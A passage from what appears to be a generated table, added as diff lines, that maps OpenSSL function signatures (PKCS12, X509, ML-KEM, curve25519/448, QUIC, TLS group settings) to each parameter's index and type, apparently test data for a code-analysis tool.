int | +| (stack_st_PKCS7 *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_add_safes_ex | 0 | stack_st_PKCS7 * | +| (stack_st_PKCS7 *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_add_safes_ex | 1 | int | +| (stack_st_PKCS7 *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_add_safes_ex | 2 | OSSL_LIB_CTX * | +| (stack_st_PKCS7 *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_add_safes_ex | 3 | const char * | +| (stack_st_PKCS12_SAFEBAG *) | | PKCS12_pack_p7data | 0 | stack_st_PKCS12_SAFEBAG * | +| (stack_st_PKCS12_SAFEBAG **,EVP_PKEY *,int,int,int,const char *) | | PKCS12_add_key | 0 | stack_st_PKCS12_SAFEBAG ** | +| (stack_st_PKCS12_SAFEBAG **,EVP_PKEY *,int,int,int,const char *) | | PKCS12_add_key | 1 | EVP_PKEY * | +| (stack_st_PKCS12_SAFEBAG **,EVP_PKEY *,int,int,int,const char *) | | PKCS12_add_key | 2 | int | +| (stack_st_PKCS12_SAFEBAG **,EVP_PKEY *,int,int,int,const char *) | | PKCS12_add_key | 3 | int | +| (stack_st_PKCS12_SAFEBAG **,EVP_PKEY *,int,int,int,const char *) | | PKCS12_add_key | 4 | int | +| (stack_st_PKCS12_SAFEBAG **,EVP_PKEY *,int,int,int,const char *) | | PKCS12_add_key | 5 | const char * | +| (stack_st_PKCS12_SAFEBAG **,EVP_PKEY *,int,int,int,const char *,OSSL_LIB_CTX *,const char *) | | PKCS12_add_key_ex | 0 | stack_st_PKCS12_SAFEBAG ** | +| (stack_st_PKCS12_SAFEBAG **,EVP_PKEY *,int,int,int,const char *,OSSL_LIB_CTX *,const char *) | | PKCS12_add_key_ex | 1 | EVP_PKEY * | +| (stack_st_PKCS12_SAFEBAG **,EVP_PKEY *,int,int,int,const char *,OSSL_LIB_CTX *,const char *) | | PKCS12_add_key_ex | 2 | int | +| (stack_st_PKCS12_SAFEBAG **,EVP_PKEY *,int,int,int,const char *,OSSL_LIB_CTX *,const char *) | | PKCS12_add_key_ex | 3 | int | +| (stack_st_PKCS12_SAFEBAG **,EVP_PKEY *,int,int,int,const char *,OSSL_LIB_CTX *,const char *) | | PKCS12_add_key_ex | 4 | int | +| (stack_st_PKCS12_SAFEBAG **,EVP_PKEY *,int,int,int,const char *,OSSL_LIB_CTX *,const char *) | | PKCS12_add_key_ex | 5 | const char * | +| (stack_st_PKCS12_SAFEBAG **,EVP_PKEY *,int,int,int,const char *,OSSL_LIB_CTX *,const char *) | | PKCS12_add_key_ex | 6 | OSSL_LIB_CTX * | +| (stack_st_PKCS12_SAFEBAG **,EVP_PKEY *,int,int,int,const char *,OSSL_LIB_CTX *,const char *) | | PKCS12_add_key_ex | 7 | const char * | +| (stack_st_PKCS12_SAFEBAG **,X509 *) | | PKCS12_add_cert | 0 | stack_st_PKCS12_SAFEBAG ** | +| (stack_st_PKCS12_SAFEBAG **,X509 *) | | PKCS12_add_cert | 1 | X509 * | +| (stack_st_PKCS12_SAFEBAG **,int,const unsigned char *,int) | | PKCS12_add_secret | 0 | stack_st_PKCS12_SAFEBAG ** | +| (stack_st_PKCS12_SAFEBAG **,int,const unsigned char *,int) | | PKCS12_add_secret | 1 | int | +| (stack_st_PKCS12_SAFEBAG **,int,const unsigned char *,int) | | PKCS12_add_secret | 2 | const unsigned char * | +| (stack_st_PKCS12_SAFEBAG **,int,const unsigned char *,int) | | PKCS12_add_secret | 3 | int | +| (stack_st_SCT **,const unsigned char **,long) | | d2i_SCT_LIST | 0 | stack_st_SCT ** | +| (stack_st_SCT **,const unsigned char **,long) | | d2i_SCT_LIST | 1 | const unsigned char ** | +| (stack_st_SCT **,const unsigned char **,long) | | d2i_SCT_LIST | 2 | long | +| (stack_st_SCT **,const unsigned char **,size_t) | | o2i_SCT_LIST | 0 | stack_st_SCT ** | +| (stack_st_SCT **,const unsigned char **,size_t) | | o2i_SCT_LIST | 1 | const unsigned char ** | +| (stack_st_SCT **,const unsigned char **,size_t) | | o2i_SCT_LIST | 2 | size_t | +| (stack_st_SSL_COMP *) | | SSL_COMP_set0_compression_methods | 0 | stack_st_SSL_COMP * | +| (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 0 | stack_st_SSL_COMP * | +| (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | int | +| (stack_st_X509 *) | | X509_chain_up_ref | 0 | stack_st_X509 * | +| (stack_st_X509 **,X509 *,int) | | ossl_x509_add_cert_new | 0 | stack_st_X509 ** | +| (stack_st_X509 **,X509 *,int) | | ossl_x509_add_cert_new | 1 | X509 * | +| (stack_st_X509 **,X509 *,int) | | ossl_x509_add_cert_new | 2 | int | +| (stack_st_X509 **,stack_st_X509 *,int) | | ossl_x509_add_certs_new | 0 | stack_st_X509 ** | +| (stack_st_X509 **,stack_st_X509 *,int) | | ossl_x509_add_certs_new | 1 | stack_st_X509 * | +| (stack_st_X509 **,stack_st_X509 *,int) | | ossl_x509_add_certs_new | 2 | int | +| (stack_st_X509 *,ASIdentifiers *,int) | | X509v3_asid_validate_resource_set | 0 | stack_st_X509 * | +| (stack_st_X509 *,ASIdentifiers *,int) | | X509v3_asid_validate_resource_set | 1 | ASIdentifiers * | +| (stack_st_X509 *,ASIdentifiers *,int) | | X509v3_asid_validate_resource_set | 2 | int | +| (stack_st_X509 *,BIO *,const EVP_CIPHER *,int,OSSL_LIB_CTX *,const char *) | | PKCS7_encrypt_ex | 0 | stack_st_X509 * | +| (stack_st_X509 *,BIO *,const EVP_CIPHER *,int,OSSL_LIB_CTX *,const char *) | | PKCS7_encrypt_ex | 1 | BIO * | +| (stack_st_X509 *,BIO *,const EVP_CIPHER *,int,OSSL_LIB_CTX *,const char *) | | PKCS7_encrypt_ex | 2 | const EVP_CIPHER * | +| (stack_st_X509 *,BIO *,const EVP_CIPHER *,int,OSSL_LIB_CTX *,const char *) | | PKCS7_encrypt_ex | 3 | int | +| (stack_st_X509 *,BIO *,const EVP_CIPHER *,int,OSSL_LIB_CTX *,const char *) | | PKCS7_encrypt_ex | 4 | OSSL_LIB_CTX * | +| (stack_st_X509 *,BIO *,const EVP_CIPHER *,int,OSSL_LIB_CTX *,const char *) | | PKCS7_encrypt_ex | 5 | const char * | +| (stack_st_X509 *,BIO *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_encrypt_ex | 0 | stack_st_X509 * | +| (stack_st_X509 *,BIO *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_encrypt_ex | 1 | BIO * | +| (stack_st_X509 *,BIO *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_encrypt_ex | 2 | const EVP_CIPHER * | +| (stack_st_X509 *,BIO *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_encrypt_ex | 3 | unsigned int | +| (stack_st_X509 *,BIO *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_encrypt_ex | 4 | OSSL_LIB_CTX * | +| (stack_st_X509 *,BIO *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_encrypt_ex | 5 | const char * | +| (stack_st_X509 *,IPAddrBlocks *,int) | | X509v3_addr_validate_resource_set | 0 | stack_st_X509 * | +| (stack_st_X509 *,IPAddrBlocks *,int) | | X509v3_addr_validate_resource_set | 1 | IPAddrBlocks * | +| (stack_st_X509 *,IPAddrBlocks *,int) | | X509v3_addr_validate_resource_set | 2 | int | +| (stack_st_X509 *,X509 *,int) | | X509_add_cert | 0 | stack_st_X509 * | +| (stack_st_X509 *,X509 *,int) | | X509_add_cert | 1 | X509 * | +| (stack_st_X509 *,X509 *,int) | | X509_add_cert | 2 | int | +| (stack_st_X509 *,const X509_NAME *) | | X509_find_by_subject | 0 | stack_st_X509 * | +| (stack_st_X509 *,const X509_NAME *) | | X509_find_by_subject | 1 | const X509_NAME * | +| (stack_st_X509 *,const X509_NAME *,const ASN1_INTEGER *) | | X509_find_by_issuer_and_serial | 0 | stack_st_X509 * | +| (stack_st_X509 *,const X509_NAME *,const ASN1_INTEGER *) | | X509_find_by_issuer_and_serial | 1 | const X509_NAME * | +| (stack_st_X509 *,const X509_NAME *,const ASN1_INTEGER *) | | X509_find_by_issuer_and_serial | 2 | const ASN1_INTEGER * | +| (stack_st_X509 *,stack_st_X509 *,int) | | X509_add_certs | 0 | stack_st_X509 * | +| (stack_st_X509 *,stack_st_X509 *,int) | | X509_add_certs | 1 | stack_st_X509 * | +| (stack_st_X509 *,stack_st_X509 *,int) | | X509_add_certs | 2 | int | +| (stack_st_X509_ALGOR **) | | CMS_add_standard_smimecap | 0 | stack_st_X509_ALGOR ** | +| (stack_st_X509_ALGOR **,int,int) | | CMS_add_simple_smimecap | 0 | stack_st_X509_ALGOR ** | +| (stack_st_X509_ALGOR **,int,int) | | CMS_add_simple_smimecap | 1 | int | +| (stack_st_X509_ALGOR **,int,int) | | CMS_add_simple_smimecap | 2 | int | +| (stack_st_X509_ALGOR *,int,int) | | PKCS7_simple_smimecap | 0 | stack_st_X509_ALGOR * | +| (stack_st_X509_ALGOR *,int,int) | | PKCS7_simple_smimecap | 1 | int | +| (stack_st_X509_ALGOR *,int,int) | | PKCS7_simple_smimecap | 2 | int | +| (stack_st_X509_ATTRIBUTE **,X509_ATTRIBUTE *) | | X509at_add1_attr | 0 | stack_st_X509_ATTRIBUTE ** | +| (stack_st_X509_ATTRIBUTE **,X509_ATTRIBUTE *) | | X509at_add1_attr | 1 | X509_ATTRIBUTE * | +| (stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int) | | X509at_add1_attr_by_OBJ | 0 | stack_st_X509_ATTRIBUTE ** | +| (stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int) | | X509at_add1_attr_by_OBJ | 1 | const ASN1_OBJECT * | +| (stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int) | | X509at_add1_attr_by_OBJ | 2 | int | +| (stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int) | | X509at_add1_attr_by_OBJ | 3 | const unsigned char * | +| (stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int) | | X509at_add1_attr_by_OBJ | 4 | int | +| (stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int) | | ossl_x509at_add1_attr_by_OBJ | 0 | stack_st_X509_ATTRIBUTE ** | +| (stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int) | | ossl_x509at_add1_attr_by_OBJ | 1 | const ASN1_OBJECT * | +| (stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int) | | ossl_x509at_add1_attr_by_OBJ | 2 | int | +| (stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int) | | ossl_x509at_add1_attr_by_OBJ | 3 | const unsigned char * | +| (stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int) | | ossl_x509at_add1_attr_by_OBJ | 4 | int | +| (stack_st_X509_ATTRIBUTE **,const X509_ATTRIBUTE *) | | ossl_x509at_add1_attr | 0 | stack_st_X509_ATTRIBUTE ** | +| (stack_st_X509_ATTRIBUTE **,const X509_ATTRIBUTE *) | | ossl_x509at_add1_attr | 1 | const X509_ATTRIBUTE * | +| (stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int) | | X509at_add1_attr_by_txt | 0 | stack_st_X509_ATTRIBUTE ** | +| (stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int) | | X509at_add1_attr_by_txt | 1 | const char * | +| (stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int) | | X509at_add1_attr_by_txt | 2 | int | +| (stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int) | | X509at_add1_attr_by_txt | 3 | const unsigned char * | +| (stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int) | | X509at_add1_attr_by_txt | 4 | int | +| (stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int) | | ossl_x509at_add1_attr_by_txt | 0 | stack_st_X509_ATTRIBUTE ** | +| (stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int) | | ossl_x509at_add1_attr_by_txt | 1 | const char * | +| (stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int) | | ossl_x509at_add1_attr_by_txt | 2 | int | +| (stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int) | | ossl_x509at_add1_attr_by_txt | 3 | const unsigned char * | +| (stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int) | | ossl_x509at_add1_attr_by_txt | 4 | int | +| (stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int) | | X509at_add1_attr_by_NID | 0 | stack_st_X509_ATTRIBUTE ** | +| (stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int) | | X509at_add1_attr_by_NID | 1 | int | +| (stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int) | | X509at_add1_attr_by_NID | 2 | int | +| (stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int) | | X509at_add1_attr_by_NID | 3 | const unsigned char * | +| (stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int) | | X509at_add1_attr_by_NID | 4 | int | +| (stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int) | | ossl_x509at_add1_attr_by_NID | 0 | stack_st_X509_ATTRIBUTE ** | +| (stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int) | | ossl_x509at_add1_attr_by_NID | 1 | int | +| (stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int) | | ossl_x509at_add1_attr_by_NID | 2 | int | +| (stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int) | | ossl_x509at_add1_attr_by_NID | 3 | const unsigned char * | +| (stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int) | | ossl_x509at_add1_attr_by_NID | 4 | int | +| (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 0 | stack_st_X509_ATTRIBUTE * | +| (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | int | +| (stack_st_X509_EXTENSION **,X509_EXTENSION *,int) | | X509v3_add_ext | 0 | stack_st_X509_EXTENSION ** | +| (stack_st_X509_EXTENSION **,X509_EXTENSION *,int) | | X509v3_add_ext | 1 | X509_EXTENSION * | +| (stack_st_X509_EXTENSION **,X509_EXTENSION *,int) | | X509v3_add_ext | 2 | int | +| (stack_st_X509_EXTENSION **,const stack_st_X509_EXTENSION *) | | X509v3_add_extensions | 0 | stack_st_X509_EXTENSION ** | +| (stack_st_X509_EXTENSION **,const stack_st_X509_EXTENSION *) | | X509v3_add_extensions | 1 | const stack_st_X509_EXTENSION * | +| (stack_st_X509_EXTENSION **,int,void *,int,unsigned long) | | X509V3_add1_i2d | 0 | stack_st_X509_EXTENSION ** | +| (stack_st_X509_EXTENSION **,int,void *,int,unsigned long) | | X509V3_add1_i2d | 1 | int | +| (stack_st_X509_EXTENSION **,int,void *,int,unsigned long) | | X509V3_add1_i2d | 2 | void * | +| (stack_st_X509_EXTENSION **,int,void *,int,unsigned long) | | X509V3_add1_i2d | 3 | int | +| (stack_st_X509_EXTENSION **,int,void *,int,unsigned long) | | X509V3_add1_i2d | 4 | unsigned long | +| (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 0 | stack_st_X509_EXTENSION * | +| (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 1 | int | +| (stack_st_X509_OBJECT *,X509_LOOKUP_TYPE,const X509_NAME *) | | X509_OBJECT_idx_by_subject | 0 | stack_st_X509_OBJECT * | +| (stack_st_X509_OBJECT *,X509_LOOKUP_TYPE,const X509_NAME *) | | X509_OBJECT_idx_by_subject | 1 | X509_LOOKUP_TYPE | +| (stack_st_X509_OBJECT *,X509_LOOKUP_TYPE,const X509_NAME *) | | X509_OBJECT_idx_by_subject | 2 | const X509_NAME * | +| (stack_st_X509_OBJECT *,X509_LOOKUP_TYPE,const X509_NAME *) | | X509_OBJECT_retrieve_by_subject | 0 | stack_st_X509_OBJECT * | +| (stack_st_X509_OBJECT *,X509_LOOKUP_TYPE,const X509_NAME *) | | X509_OBJECT_retrieve_by_subject | 1 | X509_LOOKUP_TYPE | +| (stack_st_X509_OBJECT *,X509_LOOKUP_TYPE,const X509_NAME *) | | X509_OBJECT_retrieve_by_subject | 2 | const X509_NAME * | +| (stack_st_X509_OBJECT *,X509_OBJECT *) | | X509_OBJECT_retrieve_match | 0 | stack_st_X509_OBJECT * | +| (stack_st_X509_OBJECT *,X509_OBJECT *) | | X509_OBJECT_retrieve_match | 1 | X509_OBJECT * | +| (stack_st_X509_POLICY_NODE *,const ASN1_OBJECT *) | | ossl_policy_tree_find_sk | 0 | stack_st_X509_POLICY_NODE * | +| (stack_st_X509_POLICY_NODE *,const ASN1_OBJECT *) | | ossl_policy_tree_find_sk | 1 | const ASN1_OBJECT * | +| (state *,config *) | | State_insert | 0 | state * | +| (state *,config *) | | State_insert | 1 | config * | +| (symbol *,lemon *) | | has_destructor | 0 | symbol * | +| (symbol *,lemon *) | | has_destructor | 1 | lemon * | +| (tm *,const ASN1_TIME *) | | ossl_asn1_time_to_tm | 0 | tm * | +| (tm *,const ASN1_TIME *) | | ossl_asn1_time_to_tm | 1 | const ASN1_TIME * | +| (tm *,const ASN1_UTCTIME *) | | ossl_asn1_utctime_to_tm | 0 | tm * | +| (tm *,const ASN1_UTCTIME *) | | ossl_asn1_utctime_to_tm | 1 | const ASN1_UTCTIME * | +| (tm *,int,long) | | OPENSSL_gmtime_adj | 0 | tm * | +| (tm *,int,long) | | OPENSSL_gmtime_adj | 1 | int | +| (tm *,int,long) | | OPENSSL_gmtime_adj | 2 | long | +| (u64[2],const u128[16],const u8 *,size_t) | | ossl_gcm_ghash_4bit | 0 | u64[2] | +| (u64[2],const u128[16],const u8 *,size_t) | | ossl_gcm_ghash_4bit | 1 | const u128[16] | +| (u64[2],const u128[16],const u8 *,size_t) | | ossl_gcm_ghash_4bit | 2 | const u8 * | +| (u64[2],const u128[16],const u8 *,size_t) | | ossl_gcm_ghash_4bit | 3 | size_t | +| (uint8_t *,const uint8_t *,size_t,const uint8_t[32],const uint8_t[32],const uint8_t,const uint8_t,const uint8_t,const uint8_t *,size_t,OSSL_LIB_CTX *,const char *) | | ossl_ed25519_sign | 0 | uint8_t * | +| (uint8_t *,const uint8_t *,size_t,const uint8_t[32],const uint8_t[32],const uint8_t,const uint8_t,const uint8_t,const uint8_t *,size_t,OSSL_LIB_CTX *,const char *) | | ossl_ed25519_sign | 1 | const uint8_t * | +| (uint8_t *,const uint8_t *,size_t,const uint8_t[32],const uint8_t[32],const uint8_t,const uint8_t,const uint8_t,const uint8_t *,size_t,OSSL_LIB_CTX *,const char *) | | ossl_ed25519_sign | 2 | size_t | +| (uint8_t *,const uint8_t *,size_t,const uint8_t[32],const uint8_t[32],const uint8_t,const uint8_t,const uint8_t,const uint8_t *,size_t,OSSL_LIB_CTX *,const char *) | | ossl_ed25519_sign | 3 | const uint8_t[32] | +| (uint8_t *,const uint8_t *,size_t,const uint8_t[32],const uint8_t[32],const uint8_t,const uint8_t,const uint8_t,const uint8_t *,size_t,OSSL_LIB_CTX *,const char *) | | ossl_ed25519_sign | 4 | const uint8_t[32] | +| (uint8_t *,const uint8_t *,size_t,const uint8_t[32],const uint8_t[32],const uint8_t,const uint8_t,const uint8_t,const uint8_t *,size_t,OSSL_LIB_CTX *,const char *) | | ossl_ed25519_sign | 5 | const uint8_t | +| (uint8_t *,const uint8_t *,size_t,const uint8_t[32],const uint8_t[32],const uint8_t,const uint8_t,const uint8_t,const uint8_t *,size_t,OSSL_LIB_CTX *,const char *) | | ossl_ed25519_sign | 6 | const uint8_t | +| (uint8_t *,const uint8_t *,size_t,const uint8_t[32],const uint8_t[32],const uint8_t,const uint8_t,const uint8_t,const uint8_t *,size_t,OSSL_LIB_CTX *,const char *) | | ossl_ed25519_sign | 7 | const uint8_t | +| (uint8_t *,const uint8_t *,size_t,const uint8_t[32],const uint8_t[32],const uint8_t,const uint8_t,const uint8_t,const uint8_t *,size_t,OSSL_LIB_CTX *,const char *) | | ossl_ed25519_sign | 8 | const uint8_t * | +| (uint8_t *,const uint8_t *,size_t,const uint8_t[32],const uint8_t[32],const uint8_t,const uint8_t,const uint8_t,const uint8_t *,size_t,OSSL_LIB_CTX *,const char *) | | ossl_ed25519_sign | 9 | size_t | +| (uint8_t *,const uint8_t *,size_t,const uint8_t[32],const uint8_t[32],const uint8_t,const uint8_t,const uint8_t,const uint8_t *,size_t,OSSL_LIB_CTX *,const char *) | | ossl_ed25519_sign | 10 | OSSL_LIB_CTX * | +| (uint8_t *,const uint8_t *,size_t,const uint8_t[32],const uint8_t[32],const uint8_t,const uint8_t,const uint8_t,const uint8_t *,size_t,OSSL_LIB_CTX *,const char *) | | ossl_ed25519_sign | 11 | const char * | +| (uint8_t *,size_t) | | ossl_fnv1a_hash | 0 | uint8_t * | +| (uint8_t *,size_t) | | ossl_fnv1a_hash | 1 | size_t | +| (uint8_t *,size_t,ML_KEM_KEY *) | | ossl_ml_kem_genkey | 0 | uint8_t * | +| (uint8_t *,size_t,ML_KEM_KEY *) | | ossl_ml_kem_genkey | 1 | size_t | +| (uint8_t *,size_t,ML_KEM_KEY *) | | ossl_ml_kem_genkey | 2 | ML_KEM_KEY * | +| (uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encode_private_key | 0 | uint8_t * | +| (uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encode_private_key | 1 | size_t | +| (uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encode_private_key | 2 | const ML_KEM_KEY * | +| (uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encode_public_key | 0 | uint8_t * | +| (uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encode_public_key | 1 | size_t | +| (uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encode_public_key | 2 | const ML_KEM_KEY * | +| (uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encode_seed | 0 | uint8_t * | +| (uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encode_seed | 1 | size_t | +| (uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encode_seed | 2 | const ML_KEM_KEY * | +| (uint8_t *,size_t,const uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_decap | 0 | uint8_t * | +| (uint8_t *,size_t,const uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_decap | 1 | size_t | +| (uint8_t *,size_t,const uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_decap | 2 | const uint8_t * | +| (uint8_t *,size_t,const uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_decap | 3 | size_t | +| (uint8_t *,size_t,const uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_decap | 4 | const ML_KEM_KEY * | +| (uint8_t *,size_t,uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encap_rand | 0 | uint8_t * | +| (uint8_t *,size_t,uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encap_rand | 1 | size_t | +| (uint8_t *,size_t,uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encap_rand | 2 | uint8_t * | +| (uint8_t *,size_t,uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encap_rand | 3 | size_t | +| (uint8_t *,size_t,uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encap_rand | 4 | const ML_KEM_KEY * | +| (uint8_t *,size_t,uint8_t *,size_t,const uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encap_seed | 0 | uint8_t * | +| (uint8_t *,size_t,uint8_t *,size_t,const uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encap_seed | 1 | size_t | +| (uint8_t *,size_t,uint8_t *,size_t,const uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encap_seed | 2 | uint8_t * | +| (uint8_t *,size_t,uint8_t *,size_t,const uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encap_seed | 3 | size_t | +| (uint8_t *,size_t,uint8_t *,size_t,const uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encap_seed | 4 | const uint8_t * | +| (uint8_t *,size_t,uint8_t *,size_t,const uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encap_seed | 5 | size_t | +| (uint8_t *,size_t,uint8_t *,size_t,const uint8_t *,size_t,const ML_KEM_KEY *) | | ossl_ml_kem_encap_seed | 6 | const ML_KEM_KEY * | +| (uint8_t *,unsigned char *,uint64_t) | | ossl_quic_vlint_encode | 0 | uint8_t * | +| (uint8_t *,unsigned char *,uint64_t) | | ossl_quic_vlint_encode | 1 | unsigned char * | +| (uint8_t *,unsigned char *,uint64_t) | | ossl_quic_vlint_encode | 2 | uint64_t | +| (uint8_t *,unsigned char *,uint64_t,int) | | ossl_quic_vlint_encode_n | 0 | uint8_t * | +| (uint8_t *,unsigned char *,uint64_t,int) | | ossl_quic_vlint_encode_n | 1 | unsigned char * | +| (uint8_t *,unsigned char *,uint64_t,int) | | ossl_quic_vlint_encode_n | 2 | uint64_t | +| (uint8_t *,unsigned char *,uint64_t,int) | | ossl_quic_vlint_encode_n | 3 | int | +| (uint8_t[32],const uint8_t[32]) | | ossl_x25519_public_from_private | 0 | uint8_t[32] | +| (uint8_t[32],const uint8_t[32]) | | ossl_x25519_public_from_private | 1 | const uint8_t[32] | +| (uint8_t[32],const uint8_t[32],const uint8_t[32]) | | ossl_x25519 | 0 | uint8_t[32] | +| (uint8_t[32],const uint8_t[32],const uint8_t[32]) | | ossl_x25519 | 1 | const uint8_t[32] | +| (uint8_t[32],const uint8_t[32],const uint8_t[32]) | | ossl_x25519 | 2 | const uint8_t[32] | +| (uint8_t[56],const curve448_point_t) | | ossl_curve448_point_mul_by_ratio_and_encode_like_x448 | 0 | uint8_t[56] | +| (uint8_t[56],const curve448_point_t) | | ossl_curve448_point_mul_by_ratio_and_encode_like_x448 | 1 | const curve448_point_t | +| (uint8_t[56],const gf,int) | | gf_serialize | 0 | uint8_t[56] | +| (uint8_t[56],const gf,int) | | gf_serialize | 1 | const gf | +| (uint8_t[56],const gf,int) | | gf_serialize | 2 | int | +| (uint8_t[56],const uint8_t[56],const uint8_t[56]) | | ossl_x448 | 0 | uint8_t[56] | +| (uint8_t[56],const uint8_t[56],const uint8_t[56]) | | ossl_x448 | 1 | const uint8_t[56] | +| (uint8_t[56],const uint8_t[56],const uint8_t[56]) | | ossl_x448 | 2 | const uint8_t[56] | +| (uint8_t[56],const uint8_t[56],const uint8_t[56]) | | ossl_x448_int | 0 | uint8_t[56] | +| (uint8_t[56],const uint8_t[56],const uint8_t[56]) | | ossl_x448_int | 1 | const uint8_t[56] | +| (uint8_t[56],const uint8_t[56],const uint8_t[56]) | | ossl_x448_int | 2 | const uint8_t[56] | +| (uint8_t[57],const curve448_point_t) | | ossl_curve448_point_mul_by_ratio_and_encode_like_eddsa | 0 | uint8_t[57] | +| (uint8_t[57],const curve448_point_t) | | ossl_curve448_point_mul_by_ratio_and_encode_like_eddsa | 1 | const curve448_point_t | +| (uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,int *,size_t) | | tls1_set_groups | 0 | uint16_t ** | +| (uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,int *,size_t) | | tls1_set_groups | 1 | size_t * | +| (uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,int *,size_t) | | tls1_set_groups | 2 | uint16_t ** | +| (uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,int *,size_t) | | tls1_set_groups | 3 | size_t * | +| (uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,int *,size_t) | | tls1_set_groups | 4 | size_t ** | +| (uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,int *,size_t) | | tls1_set_groups | 5 | size_t * | +| (uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,int *,size_t) | | tls1_set_groups | 6 | int * | +| (uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,int *,size_t) | | tls1_set_groups | 7 | size_t | +| (uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,void *) | | ssl_set_tmp_ecdh_groups | 0 | uint16_t ** | +| (uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,void *) | | ssl_set_tmp_ecdh_groups | 1 | size_t * | +| (uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,void *) | | ssl_set_tmp_ecdh_groups | 2 | uint16_t ** | +| (uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,void *) | | ssl_set_tmp_ecdh_groups | 3 | size_t * | +| (uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,void *) | | ssl_set_tmp_ecdh_groups | 4 | size_t ** | +| (uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,void *) | | ssl_set_tmp_ecdh_groups | 5 | size_t * | +| (uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,void *) | | ssl_set_tmp_ecdh_groups | 6 | void * | +| 